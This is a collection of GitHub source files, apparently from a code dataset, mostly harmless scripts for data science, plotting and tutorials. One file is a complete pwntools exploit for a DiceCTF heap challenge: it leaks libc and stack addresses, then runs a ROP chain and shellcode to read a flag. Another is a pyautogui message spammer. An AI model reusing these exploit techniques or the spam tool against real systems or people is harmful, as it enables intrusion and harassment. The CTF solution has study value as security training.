'/tmp/')","repo_name":"abbgrade/wok_hooks","sub_path":"wok_hooks/hook_lastfm.py","file_name":"hook_lastfm.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2797382428","text":"def step(pattern: str) -> str:\n    for i, (x, y) in enumerate(zip(pattern, pattern[1:])):\n        if x.lower() == y.lower() and x.isupper() != y.isupper():\n            return pattern[:i] + pattern[i + 2:]\n    return pattern\n\ndef process_pattern(pattern: str) -> int:\n    next_pattern = step(pattern)\n\n    while next_pattern != pattern:\n        pattern = next_pattern\n        next_pattern = step(pattern)\n\n    return len(pattern)\n\ndef without_char(pattern: str, char: str) -> str:\n    print(f'Removing char: {char}')\n    return pattern.replace(char.lower(), '').replace(char.upper(), '')\n\ndef process(inp: [str]):\n    pattern = ''.join(x.strip() for x in inp)\n    chars = set(pattern.lower())\n    options = [(char, process_pattern(without_char(pattern, char))) for char in chars]\n    removed_char, pattern_len = min(options, key=lambda x: x[1])\n\n    return removed_char, pattern_len\n\ndef main():\n    import sys\n    inps = list(sys.stdin)\n    print(process(inps))\n\nif __name__ == '__main__':\n    main()","repo_name":"thelastnode/adventofcode","sub_path":"day5/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42499127569","text":"import os\nimport pyautogui\nfrom time import sleep\n\n\n#make sure to give permission to Terminal to control your computer under Accessibility\n\ndef auto_send_messages(message_input, number_of_times): #sends the message you typed\n    #Don't change any of this\n    sleep(0.5)\n    for x in range(number_of_times):\n        print(\"Loading message....\")\n        sleep(0.5)\n        pyautogui.typewrite(message_input, interval=0.01) #interval is how fast the typing should be between each key stroke\n        sleep(0.1)\n        pyautogui.typewrite(['enter'], interval = 0.15) #makes sure the last sentence was/is sent\n        print(\"Message sent.\")     \n    pyautogui.typewrite(['enter'], interval = 0.15) #makes sure the last sentence was/is sent\n\ndef auto_send_default_messages(): #sends messages from another file if user doesn't input a message\n    #Don't change any of this\n    file_name = \"testTxt.txt\"\n    read_file = open(file_name, \"r\")\n    print(\"Loading message....\")\n    sleep(1.5)\n    for sentences in read_file:\n        sleep(0.5)\n        pyautogui.typewrite(sentences, interval=0.01) #interval is how fast the typing should be between each key stroke\n    pyautogui.typewrite(['enter'], interval = 0.15) #makes sure the last sentence was/is sent\n    pyautogui.typewrite(['enter'], interval = 0.15) \n    read_file.close()\n\ndef open_app():\n    #Don't change any of this\n    path = \"Messages\"\n    os.system(f\"open  -a {path}\")\n    print(\"{0} is open\".format(path))\n\ndef open_testing_input_file_app():\n    #Don't change any of this\n    path = \"inputTesting.txt\"\n    os.system(f\"open {path}\")\n    print(\"{0} is open\".format(path))\n    \ndef end():\n    #Don't change any of this\n    print(\"All messages sent\")\n    print(\"End of program\")","repo_name":"luismendozaignacio/spaminator","sub_path":"Spaminator/autoMessenger.py","file_name":"autoMessenger.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43224399814","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 22 10:34:13 2013\r\n\r\n@author: Sebastian Rhode\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n#import optparse\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import cm\r\nimport csv\r\n\r\n\r\ndef ReadCSV(Filename, delim, rows2skip):\r\n\r\n    \"\"\"Reads a CSV file and returns it as a list of rows.\"\"\"\r\n    data = []\r\n    for row in csv.reader(open(Filename), delimiter = delim):\r\n        data.append(row)\r\n\r\n    # 1st row = names of measured parameter\r\n    # 2nd row = unit of parameter\r\n    headers = data[0]\r\n    numvar = len(headers)\r\n    numrows = len(data) - rows2skip\r\n    values = np.zeros((numrows,numvar))\r\n\r\n    for i in range(0, numrows,1 ):\r\n        # read in the data but skip the specified number of rows\r\n        tmp = data[i + rows2skip]\r\n        for k in range(0,len(tmp),1):\r\n            # replace ',' by '.' in c ae there are any\r\n            tmp[k] = str.replace(tmp[k], ',','.')\r\n            try:\r\n                values[i,k] = float(tmp[k])\r\n                #print values[i,k]\r\n            except:\r\n                values[i,k] = np.NaN\r\n\r\n    return values\r\n\r\n\r\ndef ReadPlateData(Filename, Nr, Nc, col2show, delim, rows2skip, parameter):\r\n\r\n    # specify the delimiter for data files\r\n    data = ReadCSV(Filename, delim, rows2skip)\r\n    # show the well as a heat map\r\n    ShowPlateData(data, Nr, Nc, col2show, parameter)\r\n\r\ndef ReadPlateData_Hinton(Filename, Nr,Nc, col2show, delim, rows2skip):\r\n\r\n    # specify the delimiter for data files\r\n    data = ReadCSV(Filename, delim, rows2skip)\r\n    # show the well as a heat map\r\n    ShowPlateData_Hinton(data, Nr, Nc, col2show)\r\n\r\ndef ReadPlateData_HintonC(Filename, Nr,Nc, col2show, delim, rows2skip):\r\n\r\n    # specify the delimiter for data files\r\n    data = ReadCSV(Filename, delim, rows2skip)\r\n    # show the well as a heat map\r\n    ShowPlateData_HintonC(data, Nr, Nc, col2show)\r\n\r\n\r\ndef ExtractLabels(Nr, Nc):\r\n\r\n    # labeling schemes\r\n    LabelX = ['1','2','3','4','5','6','7','8','9','10','11','12',\r\n              '13','14','15','16','17','18','19','20','21','22','23','24',\r\n              '25','26','27','28','29','30','31','32','33','34','35','36',\r\n              '37','38','39','40','41','42','43','44','45','46','47','48',]\r\n\r\n    LabelY = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',\r\n              'Q','R','S','T','U','V','W','X','Y','Z','AA','AB','AC','AD','AE','AF']\r\n\r\n    Lx = LabelX[0:Nc]\r\n    Ly = LabelY[0:Nr]\r\n    #print \"Label X: \",Lx\r\n    #print \"Label Y: \",Ly\r\n\r\n    return Lx, Ly\r\n\r\ndef ShowPlateData(data, Nr, Nc, col2show, parameter):\r\n\r\n    print(np.shape(data), Nr, Nc, col2show)    \r\n\r\n    # reshape data to create 2D matrix\r\n    WellData = data[:,col2show].reshape(Nr, Nc)\r\n    [labelx, labely] = ExtractLabels(Nr, Nc)\r\n\r\n    # create figure\r\n    fig = plt.figure(figsize=(8,4), dpi=100)\r\n    ax1 = fig.add_subplot(111)\r\n\r\n    # set colormap\r\n    cmap = cm.hot\r\n\r\n    # show the well plate as an image\r\n    cax = ax1.imshow(WellData, interpolation = 'nearest', cmap = cmap)\r\n\r\n    # determine an appropiate font size\r\n    if (Nr <= 32 and Nr > 16):\r\n        fs = 7\r\n    elif (Nr <= 16 and Nr > 8):\r\n        fs = 9\r\n    elif (Nr <= 8):\r\n        fs = 11\r\n\r\n    #format the display\r\n    ax1.set_xticks(np.arange(0,Nc,1))\r\n    ax1.set_xticklabels(labelx, fontsize=fs)\r\n    ax1.set_yticks(np.arange(0,Nr,1))\r\n    ax1.set_yticklabels(labely, fontsize=fs)\r\n    ax1.set_title(parameter)\r\n    ax1.set_ylim(ax1.get_ylim()[::-1])\r\n    cbar = fig.colorbar(cax)\r\n\r\n    # show graph\r\n    plt.show()\r\n\r\n    return fig\r\n\r\n\r\ndef test_pandas(filename, Nr, Nc, rows2skip, delim, col2show):\r\n\r\n    # specify the delimiter for data files\r\n    data = ReadCSV(filename, delim, rows2skip)\r\n    # reshape data to create 2D matrix\r\n    WellData = data[:,col2show].reshape(Nr, Nc)\r\n\r\n    #Index= ['A','B','C','D','E','F','G','H']\r\n    #Cols = ['1','2','3','4','5','6','7','8','9','10','11','12']\r\n    Index, Cols = ExtractLabels(Nr, Nc)\r\n    df = pd.DataFrame(WellData, index= Index, columns=Cols)\r\n\r\n    return df\r\n","repo_name":"MartinHjelmare/ZEN-Blue-OAD-Workshop","sub_path":"python_scripts_for_oad/wellplate.py","file_name":"wellplate.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"1765103085","text":"from models.cnn import ConvNet\nfrom torchvision.transforms import ToTensor\nfrom lib.dataset import get_transforms, HouseNumberTrainDataset\nimport torch\nimport cv2\nimport os\nimport numpy as np\n\nmodel_path = 'logdir/checkpoints/best.pth'\nmodel = ConvNet(rnn_hidden=32)\nmodel.load_state_dict(torch.load(model_path)['model_state_dict'])\nmodel.cuda()\nmodel.eval()\n\nprint('Model loaded successfully...')\n\nif not os.path.exists('predicted'):\n    os.mkdir('predicted')\n\n\ndef pred2number(predictions):\n    print(predictions)\n    res = []\n    for i in range(np.where(predictions == 11)[0][0]):\n        res.append(predictions[i] if predictions[i] != 10 else 0)\n    return res\n    # return predictions\n\n\ntest_path = os.path.join('data', 'test')\ndataset = HouseNumberTrainDataset(test_path, 'data/test.mat', get_transforms)\n\nfor idx in np.random.choice(list(range(len(dataset))), size=30):\n    img = dataset[idx][0][0].cuda()\n    print(img.min(), img.max())\n    predictions = model.predict(img[None])\n    print(predictions)\n    predictions = pred2number(predictions[0])\n    print(idx, predictions)\n    res = ''.join([str(num) for num in predictions])\n    np_img = img.permute(1, 2, 0).detach().cpu().numpy()\n    cv2.imshow(res, np_img)\n    cv2.waitKey()\n    # cv2.imwrite(f\"predicted/{idx}_{res}.png\",\n    #             np_img)","repo_name":"ovchinnikovdk/svhn_cnn_rnn","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2404029196","text":"import cv2\nimport numpy as np\n\nresim = cv2.imread(\"opencvlogo.png\",0) # 0=resmi gri yapar // # 1=varsayılan olarak gelir resim aynı kalır // # -1=alfa kanalı dahil olmak üzere yükler\ncv2.imshow(\"ResimAdi\",resim)\n\n# // RESMİ GRİ ŞEKİLDE KAYDETMEK //\n# // Aşağıda ki kod resmi gri şekilde kaydeder.\n\n# // cv2.imwrite(\"opencv_logosu_sb.png\",resim) //  imwirte = imagewrite = resmi kaydeder\n\n# \\\\ RESMİ TUŞ İLE KAPATIP KAYDETMEK\n# \\\\ BURADA RESİM ESC TUSU İLE KAPANIR S TUSU İLE KAYDOLUR.\n\na = cv2.waitKey(0)\nif a == 27:         # 27 BURADA ESC TUŞUNUN HEXEDECIMAL KARSILIGIDIR\n    cv2.destroyAllWindows()  # herhangi bir tuşa basıldıgından kapanma kodu esc'ye aktarılmıstır\nelif a == ord(\"s\"):\n    cv2.imwrite(\"open_s_tusu.png\",resim)  #resmi \"s\" tusuna basıldıgında oldugu dosyaya kaydeder","repo_name":"aliiskk/Easy-Image-Processing","sub_path":"Basic Image Processing/2- Resim Kaydetme/Resim_kaydetme.py","file_name":"Resim_kaydetme.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947807098","text":"\nimport autokeras as ak\n\nimport numpy as np \n\nimport pandas as pd \n\nfrom glob import glob\n\nfrom skimage.io import imread\n\nimport skimage.io as sio\n\nimport os\n\nfrom natsort import natsorted\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.metrics import accuracy_score, recall_score, precision_score, f1_score, roc_auc_score\n\nfrom skimage.transform import resize, rotate\n\nimport warnings; warnings.filterwarnings(\"ignore\")\n# train test directories\n\nroot_dir = \"../input\"\n\ntrain_dir = root_dir + \"/train/train/\"\n\ntest_dir  = root_dir + \"/test/test/\"\n\ncsv_path  = root_dir + \"/train.csv\"\n\nsub_path  = root_dir + \"sample_submission.csv\"\n\n\n\n# loading images\n\ndf   = pd.read_csv(csv_path)\n\nx    = np.array([ imread(train_dir+p)/255 for p in df.id.values])\n\ny    = df.has_cactus.values\n# splitting training dataset into train/validation\n\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_val, y_train, y_val = train_test_split(x, y, test_size=0.20,stratify=y)\n# helper functions here\n\ndef display_images(imgs,y=None, y_pred=None):\n\n    n_images = imgs.shape[0]\n\n    n_gridx  = 5\n\n    n_gridy  = n_images//n_gridx\n\n#     n_grid   = int(np.sqrt(n_images))\n\n    k = 1\n\n    plt.figure(figsize=(10,6),frameon=False)\n\n    for i in range(n_gridy):\n\n        for j in range(n_gridx):\n\n            plt.subplot(n_gridy, n_gridx, k)\n\n            plt.imshow(imgs[k-1])\n\n            plt.axis(\"off\")\n\n            if (y is not None) and (y_pred is not None):\n\n                plt.title(\"y=%d | pred=%0.1f\"%(y[k-1],y_pred[k-1]))\n\n            elif y is not None:\n\n                plt.title(\"y=%d\"%y[k-1])\n\n            k+=1\n\n    plt.tight_layout()\n\n    plt.show()\n\n\n\n\n\ndef getProb(model, x):\n\n    xprocessed = model.preprocess(x)\n\n    loader = model.data_transformer.transform_test(xprocessed)\n\n    probs  = model.cnn.predict(loader)\n\n    num    = np.exp(probs[:,1])\n\n    denom  = num + np.exp(probs[:,0])\n\n    probs  = num / denom \n\n    return probs\nn_samples  = 20\n\nidx_sample = np.random.randint(0,len(x_train),n_samples)\n\ndisplay_images(x_train[idx_sample], y_train[idx_sample])\nrunFor = 5 # time in hours\n\nmodel = ak.ImageClassifier(verbose=True, augment=True )\n\nmodel.fit(x_train, y_train, time_limit=4*60*60)\n# model.final_fit(x_train, y_train, x_val, y_val, retrain=False)\n\ny_pred = model.predict(x_train)\n\ny_prob = getProb(model, x_train)\n\nprint(\"training   accuracy  = \", accuracy_score(y_train, y_pred))\n\nprint(\"training   recall    = \", recall_score(y_train, y_pred))\n\nprint(\"training   precision = \", precision_score(y_train, y_pred))\n\nprint(\"training   auc score = \", roc_auc_score(y_train, y_prob))\n\nprint(\"training   f1 score  = \", f1_score(y_train, y_pred))\n\ny_pred = model.predict(x_val)\n\ny_prob = getProb(model, x_val)\n\nprint(\"validation accuracy  = \", accuracy_score(y_val, y_pred))\n\nprint(\"validation recall    = \", recall_score(y_val, y_pred))\n\nprint(\"validation precision = \", precision_score(y_val, y_pred))\n\nprint(\"validation auc score = \",roc_auc_score(y_val, y_prob))\n\nprint(\"validation f1 score  = \", f1_score(y_val, y_pred))\ndf_test = pd.read_csv('../input/sample_submission.csv')\n\nx_test  = np.array([ imread(test_dir+p)/255 for p in df_test.id.values])\n\nx_test  = np.array(x_test)\n\n\n\n# test prediction\n\ny_prob_test = getProb(model, x_test)\n\n\n\ndf_test['has_cactus'] = y_prob_test\n\ndf_test.to_csv('cactus_net_submission.csv', index=False)","repo_name":"aorursy/new-nb-5","sub_path":"muhamamdasim_fed-up-with-model-tuning-autokeras-to-the-rescue.py","file_name":"muhamamdasim_fed-up-with-model-tuning-autokeras-to-the-rescue.py","file_ext":"py","file_size_in_byte":3354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21184872133","text":"#!/usr/bin/env python3\nfrom sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py\n\nbin_file = './babyrop'\ncontext(os = 'linux', arch = 'amd64')\n# context.log_level = 'debug'\n\n#==========\n\nenv = Environment('debug', 'local', 'remote')\nenv.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')\nenv.set_item('target',  debug   = {'argv':'./ld-linux-x86-64.so.2 --library-path . {}'.format(bin_file).split(), 'aslr':False, 'gdbscript':''}, \\\n                        local   = {'argv':'./ld-linux-x86-64.so.2 --library-path . {}'.format(bin_file).split()}, \\\n                        remote  = {'host':'mc.ax', 'port':31245})\nenv.select()\n\n#==========\n\nbinf = ELF(bin_file)\naddr_got_puts       = binf.got['puts']\naddr_got_free       = binf.got['free']\naddr_data           = binf.sep_section['.data']\n\nlibc = ELF('libc.so.6')\noffset_libc_puts    = libc.sep_function['puts']\n\n#==========\n\ndef attack(conn, **kwargs):\n    br = BabyROP(conn)\n\n    br.create(0, 0x28, 'a'*8)\n    br.create(1, 0x28, 'b'*8)\n    br.free(0)\n    br.free(1)\n\n    br.create(1, 0x18, flat(8, addr_got_puts))\n    addr_libc_puts = u64(br.read(0))\n    libc.address = addr_libc_puts - offset_libc_puts\n    info('addr_libc_base    = 0x{:08x}'.format(libc.address))\n    addr_libc_environ   = libc.symbols['environ']\n\n    br.write(1, flat(8, addr_libc_environ))\n    addr_stack_environ = u64(br.read(0))\n    info('addr_stack    = 0x{:08x}'.format(addr_stack_environ))\n\n    rop = ROP(libc)\n    rop.mprotect(addr_data, 0x1000, constants.PROT_READ|constants.PROT_WRITE|constants.PROT_EXEC)\n    rop.read(constants.STDIN_FILENO, addr_data, 0x1000)\n    rop.call(addr_data)\n\n    exploit  = p64(rop.ret.address)*0x20\n    exploit += bytes(rop)\n\n    br.write(1, flat(len(exploit), addr_stack_environ - 0x200))\n    br.write(0, exploit)\n\n    shellasm  = shellcraft.open('flag.txt')\n    shellasm += shellcraft.read('rax', addr_data+0x800, 0x800)\n    shellasm += shellcraft.write('STDOUT_FILENO', addr_data+0x800, 'rax')\n    shellasm += shellcraft.exit(0)\n    shellcode = asm(shellasm)\n    conn.sendline(shellcode)\n\nclass BabyROP:\n    def __init__(self, conn):\n        self.recv           = conn.recv\n        self.recvuntil      = conn.recvuntil\n        self.recvline       = conn.recvline\n        self.unrecv         = conn.unrecv\n        self.send           = conn.send\n        self.sendline       = conn.sendline\n        self.sendafter      = conn.sendafter\n        self.sendlineafter  = conn.sendlineafter\n\n    def create(self, idx, length, s):\n        self.sendlineafter('command: ', b'C')\n        self.sendlineafter('index: ', str(idx))\n        self.sendlineafter(': ', str(length))\n        self.sendafter(': ', s)\n\n    def free(self, idx):\n        self.sendlineafter('command: ', b'F')\n        self.sendlineafter('index: ', str(idx))\n\n    def read(self, idx):\n        self.sendlineafter('command: ', b'R')\n        self.sendlineafter('index: ', str(idx))\n        self.recvuntil('bytes\\n ')\n        return bytes.fromhex(self.recvuntil('\\n', drop=True).decode())\n\n    def write(self, idx, s):\n        self.sendlineafter('command: ', b'W')\n        self.sendlineafter('index: ', str(idx))\n        self.sendafter(': ', s)\n\n    def exit(self):\n        self.sendlineafter('command: ', b'E')\n        self.sendlineafter('index: ', b'0')\n\n#==========\n\ndef main():\n    comn = Communicate(env.mode, **env.target)\n    comn.connect()\n    comn.run(attack)\n    comn.interactive()\n    # dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}\n\nif __name__=='__main__':\n    main()\n\n#==========\n","repo_name":"shift-crops/CTFWriteups","sub_path":"2022/DiceCTF/baby-rop/exploit_babyrop.py","file_name":"exploit_babyrop.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"22"}
+{"seq_id":"17135997025","text":"#!/usr/bin/python\n\n\n\"\"\"\n    Starter code for the validation mini-project.\n    The first step toward building your POI identifier!\n\n    Start by loading/formatting the data\n\n    After that, it's not our code anymore--it's yours!\n\"\"\"\n\nimport pickle\nimport sys\nsys.path.append(\"../tools/\")\nfrom feature_format import featureFormat, targetFeatureSplit\n\ndata_dict = pickle.load(open(\"../final_project/final_project_dataset2.pkl\", \"rb\") )\n\n### first element is our labels, any added elements are predictor\n### features. Keep this the same for the mini-project, but you'll\n### have a different feature list when you do the final project.\nfeatures_list = [\"poi\", \"salary\"]\n\ndata = featureFormat(data_dict, features_list, sort_keys = '../tools/python2_lesson13_keys2.pkl')\nlabels, features = targetFeatureSplit(data)\n\n\n\n### it's all yours from here forward!\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score, confusion_matrix, precision_score, recall_score\nfrom sklearn.model_selection import train_test_split\n\n\nfeatures_train, features_test, labeles_train, labeles_test = train_test_split(\n                                                            features, labels, random_state = 42, test_size = 0.3)\n\ndt = DecisionTreeClassifier()\ndt.fit(features_train, labeles_train)\npred = dt.predict(features_test)\nacc = accuracy_score(labeles_test, pred)\n\nprint(f'The Accurecy is: {acc}')\nprint(f'No of pois predicted is: {sum(pred)}')\nprint(f'Total number of people in the test set is: {len(pred)}')\nprint(f'No of pois in the test set is: {sum(labeles_test)}')\nprint(f'confusion matrix: {confusion_matrix(labeles_test, pred)}')\nprint(f'Precision score: {precision_score(labeles_test, pred)}')\nprint(f'Recall score: {recall_score(labeles_test, pred)}')\n","repo_name":"ahmed-gharib89/ud120-projects","sub_path":"validation/validate_poi.py","file_name":"validate_poi.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20593354497","text":"\n\nimport psycopg2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ny_label = 'rent'\nx_label = 'br'\npg_conn = psycopg2.connect('dbname=apartment_listings user=an0nym1ty')\ncursor = pg_conn.cursor()\n\nselect = 'select {0}, {1}  from ACTIVE_LISTINGS where rent > 0 and ft2>0'.format(x_label, y_label)\ncursor.execute(select)\nresult = cursor.fetchall()\n\nx  = [ pair[0] for pair in result ]\ny   = [ pair[1] for pair in result ]\n\nplt.scatter(x, y)\nplt.xlabel(x_label)\nplt.ylabel(y_label)\nplt.show()\n\n","repo_name":"rab170/realtor-2.0","sub_path":"apartment_finder/utilities/knowledge_discovery.py","file_name":"knowledge_discovery.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5017770380","text":"# @Time: 2022/9/1 11:19\n# @Author: 李树斌\n# @File : 学习文件输入机制.py\n# @Software :PyCharm\n\nimport os\nos.chdir('../chapter3')\n#查看工作目录是否正确\nprint(os.getcwd())\n\n#打开文件并赋值到data,输出单个数据行\ndata = open('sketch.txt')\n# print(data.readline(),end='')\n# print(data.readline(),end='')\n\ndata.seek(0)\nfor each_line in data:\n    (role,line_spoken) = each_line.split(':')#用split赋值到role和line_spoken\n    print(role,end='')#end=' '意思是末尾不换行，加空格\n    print(\" said:\",end='')\n    print(line_spoken,end='')","repo_name":"Lovel0ri/pythonlearning","sub_path":"week2/Head First Python/chapter3/学习文件输入机制.py","file_name":"学习文件输入机制.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44536105772","text":"import json\n\nimport py7zr\n\nimport datasets\n\n\n_CITATION = \"\"\"\n@article{gliwa2019samsum,\n  title={SAMSum Corpus: A Human-annotated Dialogue Dataset for Abstractive Summarization},\n  author={Gliwa, Bogdan and Mochol, Iwona and Biesek, Maciej and Wawer, Aleksander},\n  journal={arXiv preprint arXiv:1911.12237},\n  year={2019}\n}\n\"\"\"\n\n_DESCRIPTION = \"\"\"\nSAMSum Corpus contains over 16k chat dialogues with manually annotated\nsummaries.\nThere are two features:\n  - dialogue: text of dialogue.\n  - summary: human written summary of the dialogue.\n  - id: id of a example.\n\"\"\"\n\n_HOMEPAGE = \"https://arxiv.org/abs/1911.12237\"\n\n_LICENSE = \"CC BY-NC-ND 4.0\"\n\n_URL = \"https://huggingface.co/datasets/samsum/resolve/main/data/corpus.7z\"\n\n\nclass Samsum(datasets.GeneratorBasedBuilder):\n    \"\"\"SAMSum Corpus dataset.\"\"\"\n\n    VERSION = datasets.Version(\"1.1.0\")\n\n    BUILDER_CONFIGS = [\n        datasets.BuilderConfig(name=\"samsum\"),\n    ]\n\n    def _info(self):\n        features = datasets.Features(\n            {\n                \"id\": datasets.Value(\"string\"),\n                \"dialogue\": datasets.Value(\"string\"),\n                \"summary\": datasets.Value(\"string\"),\n            }\n        )\n        return datasets.DatasetInfo(\n            description=_DESCRIPTION,\n            features=features,\n            supervised_keys=None,\n            homepage=_HOMEPAGE,\n            license=_LICENSE,\n            citation=_CITATION,\n        )\n\n    def _split_generators(self, dl_manager):\n        \"\"\"Returns SplitGenerators.\"\"\"\n        path = dl_manager.download(_URL)\n        return [\n            datasets.SplitGenerator(\n                name=datasets.Split.TRAIN,\n                gen_kwargs={\n                    \"filepath\": (path, \"train.json\"),\n                    \"split\": \"train\",\n                },\n            ),\n            datasets.SplitGenerator(\n                name=datasets.Split.TEST,\n                gen_kwargs={\n                    \"filepath\": (path, \"test.json\"),\n                    \"split\": \"test\",\n                },\n            ),\n            datasets.SplitGenerator(\n                name=datasets.Split.VALIDATION,\n                gen_kwargs={\n                    \"filepath\": (path, \"val.json\"),\n                    \"split\": \"val\",\n                },\n            ),\n        ]\n\n    def _generate_examples(self, filepath, split):\n        \"\"\"Yields examples.\"\"\"\n        path, fname = filepath\n        with open(path, \"rb\") as f:\n            with py7zr.SevenZipFile(f, \"r\") as z:\n                for name, bio in z.readall().items():\n                    if name == fname:\n                        data = json.load(bio)\n        for example in data:\n            yield example[\"id\"], example\n","repo_name":"jongwooko/NASH-Pruning-Official","sub_path":"data/samsum.py","file_name":"samsum.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"}
+{"seq_id":"38056557430","text":"import csv\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport itertools as itr\n\npath = '/Users/keisu/Documents/GitHub/zone-energy/'\npath_1 = '/Users/keisu/Documents/GitHub/zone-energy/50-500.txt'\npath_2 = '/Users/keisu/Documents/GitHub/zone-energy/q3-sample.txt'\npath_3 = '/Users/keisu/Documents/GitHub/zone-energy/5-94.txt'\npath_4 = '/Users/keisu/Documents/GitHub/zone-energy/6-16.txt'\npath_5 = '/Users/keisu/Documents/GitHub/zone-energy/6-30.txt'\n\n# データファイルオープン\nwith open(path_1) as f:\n    reader = csv.reader(f, delimiter=' ')\n    nodes_list = [row for row in reader]\n\n# 結果ファイルオープン\nf = open(path + 'result.txt', 'w')\n\nprint(\"nodes_list: \", nodes_list)\n# 6-16.txt の場合\n# nodes_list: [['6', '16'], ['0', '1'], ['0', '2'], ... , ['4', '3'], ['4', '5'], ['5', '4']]\n# 6 nodes, 8 edges (重複なし), 16 edges (重複あり、16行)\ns = \"nodes_list: \" + str(nodes_list) + '\\n'\nf.write(s)\n\n# nodes list, start with nodes_list[1]\ndel nodes_list[0]\nprint(\"new nodes_list: \", nodes_list)\n# nodes_list: [['0', '1'], ['0', '2'], ... , ['4', '3'], ['4', '5'], ['5', '4']]\ns = \"new nodes_list: \" + str(nodes_list) + '\\n'\nf.write(s)\n\n# Graphオブジェクトの作成\nG = nx.Graph()\n\n# リストからまとめてnodeを追加\nfor node_pair in nodes_list:\n    print(\"node_pair: \", node_pair)\n    # node_pair:  ['0', '1']\n    s = \"node_pair: \" + str(node_pair) + '\\n'\n    f.write(s)\n    G.add_nodes_from(node_pair)\n\nprint(\"★Nodes: \", G.nodes())\n# Nodes:  ['0', '1', '2', '3', '4', '5']\ns = \"\\n★Nodes: \" + str(G.nodes()) + '\\n'\nf.write(s)\n\n# edgeを追加。有向グラフなので1つ目の引数がstart、2つ目の引数がtarget\nfor node_start, node_target in nodes_list:\n    print(\"node_start: %s, node_target: %s\" % (node_start, node_target))\n    # node_start: 0, node_target: 1\n    s = \"node_start: \" + str(node_start) + ',' + \"node_target: \" + str(node_target) + '\\n'\n    f.write(s)\n    G.add_edge(node_start, node_target)\n\nprint(\"★Edges: \", G.edges())\n# ★Edges:  [('0', '1'), ('0', '2'), ('1', '2'), ('1', '3'), ('2', '3'), ('2', '4'), ('3', '4'), ('4', '5')]\ns = \"\\n★Edges: \" + str(G.edges()) + '\\n'\nf.write(s)\n\ns = '---\\n'\nf.write(s)\n\n# Graphオブジェクトの情報\nprint(\"Info: \", nx.info(G))\n'''\nInfo:  Name:\nType: Graph\nNumber of nodes: 6\nNumber of edges: 8\nAverage degree:   2.6667\n'''\ns = \"Info: \" + str(nx.info(G)) + '\\n'\nf.write(s)\n\n# nodeの総数\nprint(\"G.number of nodes:\", G.number_of_nodes())    # 6\ns = \"G.number of nodes: \" + str(G.number_of_nodes()) + '\\n'\nf.write(s)\n\n# nodeの要素一覧\nprint(\"G.nodes:\", G.nodes())    # ['0', '1', '2', '3', '4', '5']\ns = \"G.nodes: \" + str(G.nodes()) + '\\n'\nf.write(s)\n\n# edgeの総数\nprint(\"G.number of edges:\", G.number_of_edges())    # 8\ns = \"G.number of edges: \" + str(G.number_of_edges()) + '\\n'\nf.write(s)\n\n# edgeの要素一覧\nprint(\"G.edges:\", G.edges())\n# [('0', '1'), ('0', '2'), ('1', '2'), ('1', '3'), ('2', '3'), ('2', '4'), ('3', '4'), ('4', '5')]\ns = \"G.edges: \" + str(G.edges()) + '\\n'\nf.write(s)\n\n# 次数（nodeが持つedgeの数 = 重複あり）\nprint(\"G.degree:\", G.degree())\n#  [('0', 2), ('1', 3), ('2', 4), ('3', 3), ('4', 3), ('5', 1)]\n# 合計すると 16\ns = \"G.degree: \" + str(G.degree()) + '\\n'\nf.write(s)\n\n# 指定したノードに対する、隣接しているノードの数\nprint(\"Node exsample: '%s', Degree: %d\" % ('0', G.degree('0')))\n# Node: '0', Degree: 2\ns = \"Node example: \" + \"'0' \" + str(G.degree('0')) + '\\n'\nf.write(s)\n\n# 指定したノードに対する、隣接しているノードの一覧\nprint(\"nx.all_neighbors of '0': \", list(nx.all_neighbors(G, '0')))\n#  ['1', '2']\ns = \"nx.all_neighbors of '0': \" + str(list(nx.all_neighbors(G, '0'))) + '\\n'\nf.write(s)\n\ns = '---\\n'\nf.write(s)\n\n# ノードと隣接しているノードの数\nfor node in G.nodes():\n    print(\"Node %s, G.degree(隣接しているノードの数) %d\" % (node, G.degree(node)))\n    '''\n    Node 0, G.degree(隣接しているノードの数) 2\n    Node 1, G.degree(隣接しているノードの数) 3\n    Node 2, G.degree(隣接しているノードの数) 4\n    Node 3, G.degree(隣接しているノードの数) 3\n    Node 4, G.degree(隣接しているノードの数) 